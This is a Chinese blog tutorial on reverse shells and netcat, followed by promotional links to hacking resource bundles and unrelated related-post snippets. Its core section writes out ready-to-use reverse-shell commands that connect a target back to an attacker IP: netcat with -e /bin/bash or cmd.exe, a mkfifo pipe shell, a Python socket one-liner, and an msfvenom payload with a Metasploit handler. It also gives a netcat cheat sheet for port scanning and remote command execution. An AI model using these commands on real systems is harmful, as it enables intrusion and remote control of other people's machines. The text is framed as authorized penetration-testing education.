反向 Shell 如何撕开企业防线?网安专家深度解析内网渗透致命招式

shell的正向和反向 正向shell和反向shell 正向shell:控制端主动发起连接去连接被控制端 反向shell:被控制端主动连接控制端 在实战中,大多数采用反向shell,因为正向shell有很多因素导致连接失败, 比如说硬件设备有防火墙,入侵防御系统等,还有网站防火墙,端口占用,权限不足等场景,特别是硬件设备如果你正向连接被防火墙拦截导致打草惊蛇,后期攻击相当繁琐。 反向shell:而被控制端主动向外发送的数据包通常都不会被拦截。 反向shell如下 Linux常见反向shell bash反弹shell nc -lvp 阅读详情

想象这样一个场景:你是一名企业安全工程师,需要对公司的服务器进行安全评估。这些服务器分布在不同的网络区域,有些位于防火墙后面,有些受NAT保护,直接连接往往会受到限制。这时,反向Shell技术就显得尤为重要。

不同于传统的正向连接(从攻击者连接到目标),反向Shell巧妙地反转了这个过程:让目标机器主动向外建立连接。这就像是在防火墙上打开一个"后门",但这个"后门"是从内部打开的,因此能够绕过大多数入站连接限制。

在这里插入图片描述

反向Shell和Netcat基础
什么是反向Shell

反向Shell是一种特殊的Shell连接方式,其特点是由目标机器主动向攻击者机器发起连接。这种方式特别适用于目标机器被防火墙或NAT保护的情况。

Netcat简介

Netcat是一个功能强大的网络工具,支持TCP/IP协议的数据读写,被誉为网络安全领域的"瑞士军刀"。

使用Netcat建立反向Shell的详细步骤
1. 基础Netcat Shell

攻击者机器:

nc -lvp 4444   


目标机器:

nc <攻击者IP> 4444 -e /bin/bash   


2. 使用mkfifo方法

攻击者机器:

nc -lvp 4444   


目标机器:

mkfifo /tmp/f; nc <攻击者IP> 4444 < /tmp/f | /bin/sh > /tmp/f 2>&1; rm /tmp/f   


3. Python反向Shell

Python2版本:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<攻击者IP>",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'   


Python3版本:
同Python2版本代码,使用python3命令执行

4. MSFvenom方法
# 生成payload
msfvenom -p linux/x86/shell_reverse_tcp LHOST=<攻击者IP> LPORT=4444 -f elf > shell.elf

# 攻击者机器配置
msfconsole
use exploit/multi/handler
set payload linux/x86/shell_reverse_tcp
set LHOST <攻击者IP>
set LPORT 4444
exploit

# 目标机器执行
chmod +x shell.elf
./shell.elf


Netcat高级功能速查表
1. UDP模式操作
# 监听UDP连接
nc -u -l -p <端口>

# 发送UDP数据包
nc -u <目标IP> <端口>


2. Banner信息获取
# 获取特定端口服务的Banner信息
nc -v <主机> <端口>


3. 反向Shell建立
# 攻击者端监听
nc -l -p <监听端口> -vvv

# 目标机器(Linux)
nc <攻击者IP> <监听端口> -e /bin/bash

# 目标机器(Windows)
nc <攻击者IP> <监听端口> -e cmd.exe


4. HTTP请求测试
# 发送GET请求
echo -e "GET / HTTP/1.0\r\n\r\n" | nc <主机> <端口>

# 发送自定义HTTP请求
echo -e "<自定义请求内容>" | nc <主机> <端口>


5. 文件安全删除
# 使用shred命令安全删除文件
nc -l -p <端口> | shred -u


6. VoIP测试
# 发送音频数据
cat audiofile.wav | nc -u <目标IP> <端口>

# 接收音频数据
nc -l -u -p <端口> | play -t wav -


7. 监听模式
# 在特定端口启动监听
nc -l -p <端口>


8. 连接模式
# 连接到特定主机和端口
nc <主机> <端口>


9. 端口转发
# 本地端口转发
nc -l -p <本地端口> -c "nc <目标IP> <目标端口>"


10. 端口重定向
# 本地端口重定向
nc -l -p <本地端口> -c "nc -l <重定向端口>"


11. 文件传输
# 发送文件
nc -w 3 <目标IP> <端口> < 要发送的文件

# 接收文件
nc -l -p <端口> > 接收的文件


12. 远程命令执行
# 发送端(Windows)
nc -l -p <本地端口> -e cmd.exe

# 接收端
nc <目标IP> <本地端口>


13. 端口扫描
# TCP端口扫描
nc -zv <主机> <起始端口>-<结束端口>


14. 聊天功能
# 发送方
nc <目标IP> <端口>

# 接收方
nc -l -p <端口>


15. 代理功能
# 设置代理服务器
nc -l -p <本地端口> -c "nc <目标IP> <目标端口>"


常用选项说明
  • -l: 监听模式

  • -p: 指定端口

  • -v: 详细输出

  • -w: 连接超时时间

  • -z: 零I/O模式(用于端口扫描)

  • -u: UDP模式

  • -e: 执行命令

  • -n: 不进行DNS解析

  • -vv: 更详细的输出

  • -vvv: 最详细的输出

实用组合命令
# 持续监听模式
while true; do nc -l -p <端口>; done

# 带超时的连接测试
nc -w 3 -v <主机> <端口>

# 快速端口可用性检查
nc -zv localhost 20-100 2>&1 | grep succeeded


注意事项
  1. 使用TCP端口时不需要指定-u选项

  2. 端口号范围:1-65535

  3. 需要管理员权限时使用sudo

  4. 建议在测试环境中先进行验证

  5. 重要操作时注意保存日志

安全最佳实践
  1. 合法授权:进行任何渗透测试前必须获得授权

  2. 数据保密:确保测试过程中获取的数据得到妥善保护

  3. 安全协议:遵循安全最佳实践,避免对目标系统造成意外损害

  4. 日志记录:保持完整的操作日志

  5. 环境隔离:在受控环境中进行测试

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,需要点击下方链接即可前往获取

读者福利 | 优快云大礼包:《网络安全入门&进阶学习资源包》免费分享 (安全链接,放心点击)

👉1.成长路线图&学习规划👈

要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

在这里插入图片描述
在这里插入图片描述

👉2.网安入门到进阶视频教程👈

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。(全套教程文末领取哈)
在这里插入图片描述

在这里插入图片描述

👉3.SRC&黑客文档👈

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:

在这里插入图片描述

黑客资料由于是敏感资源,这里不能直接展示哦!(全套教程文末领取哈)

👉4.护网行动资料👈

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

在这里插入图片描述

👉5.黑客必读书单👈

在这里插入图片描述

👉6.网络安全岗面试题合集👈

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
在这里插入图片描述
所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~

读者福利 | 优快云大礼包:《网络安全入门&进阶学习资源包》免费分享 (安全链接,放心点击)

提防远程攻击:了解正向 Shell 和反向 Shell 确保服务器安全 在当今网络安全形势日益复杂的环境中,了解正向 Shell 和反向 Shell 的工作原理和使用场景,对于保护你的服务器免受远程攻击至关重要。本文不仅深入解析这两种常见的远程控制技术,还将提供有效的防护建议,帮助你提升服务器的安全防护水平,确保你的系统免遭入侵。在计算机网络和信息安全领域,正向 Shell 和反向 Shell 是两种常见的远程控制技术。它们在渗透测试、漏洞利用以及系统管理等方面有着广泛应用。正向 Shell (Forward Shell) 是指攻击者直接连接到目标机器的 Shell。 阅读详情

相关推荐

WEB安全基础 - - -Linux反弹shell

详细讲解Linux反弹shell包含的NC正向shell,NC反向shell,bash反弹shell,无e参数反弹shell,Base64编码绕过,Telnet反弹shell,OpenSSL反弹443端口,流量加密传输

weixin_67503304的博客 3448

黑客零基础第一章--反向shell

一篇文章叫你完全掌握反向shell

ShadowBlade 5303

Reverse_SSH:一款基于SSH的反向Shell工具

SSH

顶峰 891

反向shell实操

实验一: A机器传递信息到B机器: 测试环境macOS 10.15 1、A用nc命令 listen本机一个端口号 nc -l 8000 2、B 用telnet命令 去连接A机器的ip和端口号 telnet ipA 8000 3、显示连接成功后,B机器可以输入文本,文本会传输到A机器上。实现B-》A的信息传输 telnet的退出 ctrl+] 实验二: 反向shell,A机器控制B机器 一种方式是ssh 登录到B机器上,这种属于正向Shell,A主动连接B,然后控制B; 另一种方式:方向shell,B

TingSty小z的博客 5087

Reverse-Shell-with-autorun:在python上实现的反向shell,包括服务器,客户端和自动运行代码。 从服务器在后台控制客户端PC命令行

带自动运行的反向外壳 在python上实现的反向shell,包括服务器,客户端和自动运行代码。 从服务器在后台控制客户端PC命令行

PyTorch实战:3D U-Net医学图像分割从零搭建(附完整代码)

本文详细介绍了如何使用PyTorch从零搭建3D U-Net模型进行医学图像分割,涵盖三维卷积实现、模块化架构设计、医学图像专属优化策略及完整训练流程。通过实战代码演示,帮助开发者掌握UNet-3D在CT、MRI等三维医学图像分割中的应用,提升肝脏肿瘤分割、肺结节检测等任务的准确性。

weixin_29061997的博客 330

高级黑客技术-5. 反向ShellShell

❝本指南提供了多种方法来建立反向Shell,包括使用加密和明文方式,适用于不同的场景和需求。通过这些技术,安全专家和合法授权的渗透测试者可以有效地控制远程系统,进行安全测试和漏洞评估。gs-netcat 提供加密的反向Shell,支持文件传输和管理员登录警报。Bash 和 cURL 方法允许通过简单的命令行工具建立连接。OpenSSL 和 remote.moe 提供了加密通道,增强了数据传输的安全性。

jennycisp的博客 1514

一种基于因果干预的少样本学习的故障诊断模型

本文提出CIRNet,一种融合元学习与因果干预的少样本故障诊断框架。针对传统方法易学习伪相关特征的问题,CIRNet通过构建结构因果模型,采用类级和特征级双调整策略消除先验知识干扰。实验在多个轴承/齿轮数据集上验证其有效性,在跨组件任务中准确率最高达93.41%,特征可视化显示更好的类可分性。相比现有方法,CIRNet显著提升了模型泛化能力和可解释性。

hasakie的博客 957

反向shell

反向shell是从被感染机器上发起一个连接,它提供攻击者shell访问被感染机器的权限。反向shell或者作为一个单独的恶意代码存在,或者作为一个复杂后门程序中的组件而存在。反向shell的工作方式是远程计算机将自己的shell发送给特定的用户,而不是将shell绑定到一个端口上。后者在很多环境中是无法访问的。这样,你就可以对远程服务器执行root命令。

m0_52011198的博客 811

MAX31855电路和程序,实现SPI和软件模拟时序两种方式读取数据

1. 概述 MAX31855为热电偶至数字输出转换器,内置14位模/数转换器(ADC)。器件带有冷端补偿检测和修正、数字控制器、SPI兼容接口,以及相关的控制逻辑,在温度控制器、过程控制或监测系统中设计用于配合外部微控制器(μC)工作。提供多个版本的器件,每个版本针对特定的热电偶类型(K、J、N、T或E型)进行优化和调整。热电偶类型以器件型号后缀表示(例如MAX31855K)。 器件输出14位...

睿思派克 1万+

用Multisim和74192芯片复刻经典:手把手教你搭建篮球24秒违例计时器(附仿真文件)

本文详细介绍了如何使用Multisim仿真平台和74192芯片构建篮球24秒违例计时器,涵盖时序逻辑电路设计、核心器件选型、仿真环境搭建及调试技巧。通过分步指导,帮助读者掌握数字电路设计的关键技术,并附赠仿真文件供实践参考。

weixin_27014595的博客 279

Windows 反弹shell方法

正向shell : 控制端主动发起连接请求去连接被控制端,中间网络链路不存在阻碍。反向shell(反弹shell):被控端主动发起连接请求去连接控制端,通常被控端 由于防火墙限制、权限不足、端口被占用等问题导致被控端不能正常接收发送 过来的数据包。

weixin_53747497的博客 4048

STC8H单片机ADC实战:从读取电位器到串口绘图,12位精度玩起来

本文详细介绍了STC8H单片机的ADC功能实战应用,从读取电位器到串口绘图,展示了12位精度的实现方法。通过硬件连接、代码配置、串口数据传输及高级优化技巧,帮助开发者快速掌握ADC模块的使用,适用于各种传感器数据采集和信号处理场景。

weixin_28278377的博客 345

Linux 系统中正向与反向 Shell 的原理与应用

在网络安全技术的学习与研究领域,Linux 系统下的正向和反向 Shell 是值得深入探讨的知识要点。

m0_57836225的博客 582

066、AR 应用中虚拟物体漂移抖动?IMU 融合 + 光流追踪的视觉里程计优化方案

AR应用中虚拟物体漂移抖动优化方案 摘要:针对AR应用中虚拟物体漂移抖动问题,提出一种IMU融合与光流追踪的视觉里程计优化方案。关键点包括:1) 采用IMU预积分技术处理高频噪声,通过中值积分计算帧间相对运动约束;2) 使用金字塔LK光流追踪像素运动,通过中值偏差法剔除异常值;3) 构建10帧滑动窗口的紧耦合优化框架,将IMU预积分约束和光流重投影约束联合优化。实验表明,该方法有效解决了时间戳未对齐导致的"跳舞箭头"现象,在手机端实现稳定30fps的AR定位精度,漂移误差降低至厘米级。特别提醒:IMU与视觉

ai技术增长的博客 161

MISRA C 详解 · 专栏06:2023 与 2025 更新总览(相对 2012 的差异)

本专栏 01~05 篇基于(143 规则 + 16 指令)。这六年间标准又前进了两步——(大改)和(微调)。本文补充说明「相对 2012,标准变在哪」,并给出新增规范的代表性示例。

XavierKong的博客 73

理解反向Shell:隐藏在合法流量中的威胁

反向Shell因其隐蔽性和高成功率,成为红队攻击和APT攻击中的常见手段。防御者需从​​网络监控​​、​​主机加固​​、​​行为分析​​等多层面构建纵深防御体系。同时,定期更新系统补丁、限制不必要的出站流量,是降低风险的关键。​​注:本文仅用于技术讨论,任何未经授权的渗透测试均属违法行为。​。

w2361734601的博客 1531

【图像去噪】基于加权核范数最小化算法实现图像去噪附matlab代码

1 简介 WNNM是一种约束矩阵奇异值稀疏性的低秩算法,在NNM理论基础上增加了核范数权重,有效利用了自然图像的先验信息并提高了核范数的灵活性. 2 部分代码 ​clcclear allclose allnSig = 100;O_Img = double(imread('Monarch.png'));​randn('seed', 0);N_Img = O_Img + nSig* randn(size(O_Img)); ..

qq_59747472的博客 3118

反向Shell(Reverse Shell)

由于上一步已经把标准输出(1)重定向到了网络 socket,所以现在标准输入(0)也会被重定向到同一个网络 socket。这意味着它会提供一个提示符,并且可以接收用户输入,这是获得一个完整 shell 的前提。目的是让目标机器(执行这条命令的机器)主动连接到攻击者控制的服务器,从而让攻击者。会等待传入的连接,一旦目标执行了那条反向 Shell 命令,这是整个命令的核心,利用了 Bash 的一个特性。就会接收到连接,攻击者就获得了 shell。,可以执行任何目标用户权限允许的命令。都重定向到后面的目标。

shdkfbbv的博客 656

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

计算机控制技术及应用

《计算机控制技术及应用》通过总结作者的科研成果和吸收国内外的先进理论、方法和技术,以计算机控制系统的网络化、开放化、智能化和集成化发展趋势为主线索,主要介绍计算机控制系统的基本概念和计算机控制系统的典型形式,计算机控制系统的数学描述与基本分析方法,以及数字PID控制器、最少拍控制系统、达林算法、状态变量设计法等设计方法及其各种改进算法。重点突出计算机控制系统输入输出通道接口的设计方法和典型控制系统的设计案例与实现方法等。

正向shell和反向shell

正向shell和反向shell是两种常见的远程控制技术。正向shell由攻击者主动连接目标主机开放的监听端口,适用于目标有公网IP的环境,但易被防火墙拦截。反向shell则是目标主机主动连接攻击者的监听端口,能绕过入站防火墙限制,适用于内网穿透,但需要攻击者具备可访问地址。两种方式各有优劣,选择取决于具体网络环境和渗透需求。

2302_79415891的博客 496

ssm框架搭建

这个是一个在idea上成功跑起来的ssm框架项目,保存在这里方便以后使用直接下载

内网渗透(二)——连接shell、NC网络数据传输

一、连接shellwebshell的定义:web下的执行环境,shell是用于与操作系统进行交互的用户界面在实战中,大多数采用反向shell,因为正向shell有很多因素导致连接失败,比如:硬件设备有防火墙、入侵检测系统、网站防火墙、端口被占用、权限不足等,一旦被防火墙拦截导致打草惊蛇、后期攻击相当繁琐。而被控制端主动向外发送的数据包通常都不会被拦截。二、反向shell1、工具:nc(netcat)nc,也称为netcat,是一款功能强大的网络工具,可以在网络上进行数据传输。

qq_61562251的博客 2069

win10 跳过U8环境检测的IE WebControls.rar

win10 安装u8的时候 提示IE WebControls 不通过,这个工具可以欺骗u8的检查。 跳过U8环境检测的IE WebControls。提示导入失败后,重新检测通过。

干货分享—Linux之渗透测试常用反弹shell方法总结!黑客技术零基础入门到精通实战教程!

反弹shell主要就是让我们能远程连接到目标控制台并且下达指令,来达到操控目标资产的目的!正向反弹: 控制端(也就是我们自己的机器)发送请求去连接被控端(目标机器)的方式。不过这种方式会受到防火墙,路由,等各种很多因素影响,很难成功。反向反弹: 被控端主动发送请求连接我们的控制端。这种方法是可以想办法避开防火墙和路由的一些限制的!我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~

wholeliubei的博客 1261

网络安全之反弹Shell

在网络安全和渗透测试领域,“正向Shell”(Forward Shell)和"反向Shell"(Reverse Shell)是两种常用的技术手段,用于建立远程访问目标计算机的会话。这两种技术都可以让攻击者在成功渗透目标系统后执行命令,但它们在建立连接的方式上有所不同。

小飞的博客 2239
上一篇: 网络工程师必知!100个网络基础知识,零基础入门到精通,收藏这篇就够了!
下一篇: 全球顶尖8大黑客,其中一位从不黑中国,最后一位中国人让人敬佩
网络安全_入门教程
博客等级 码龄4年 1万+粉丝 2151原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值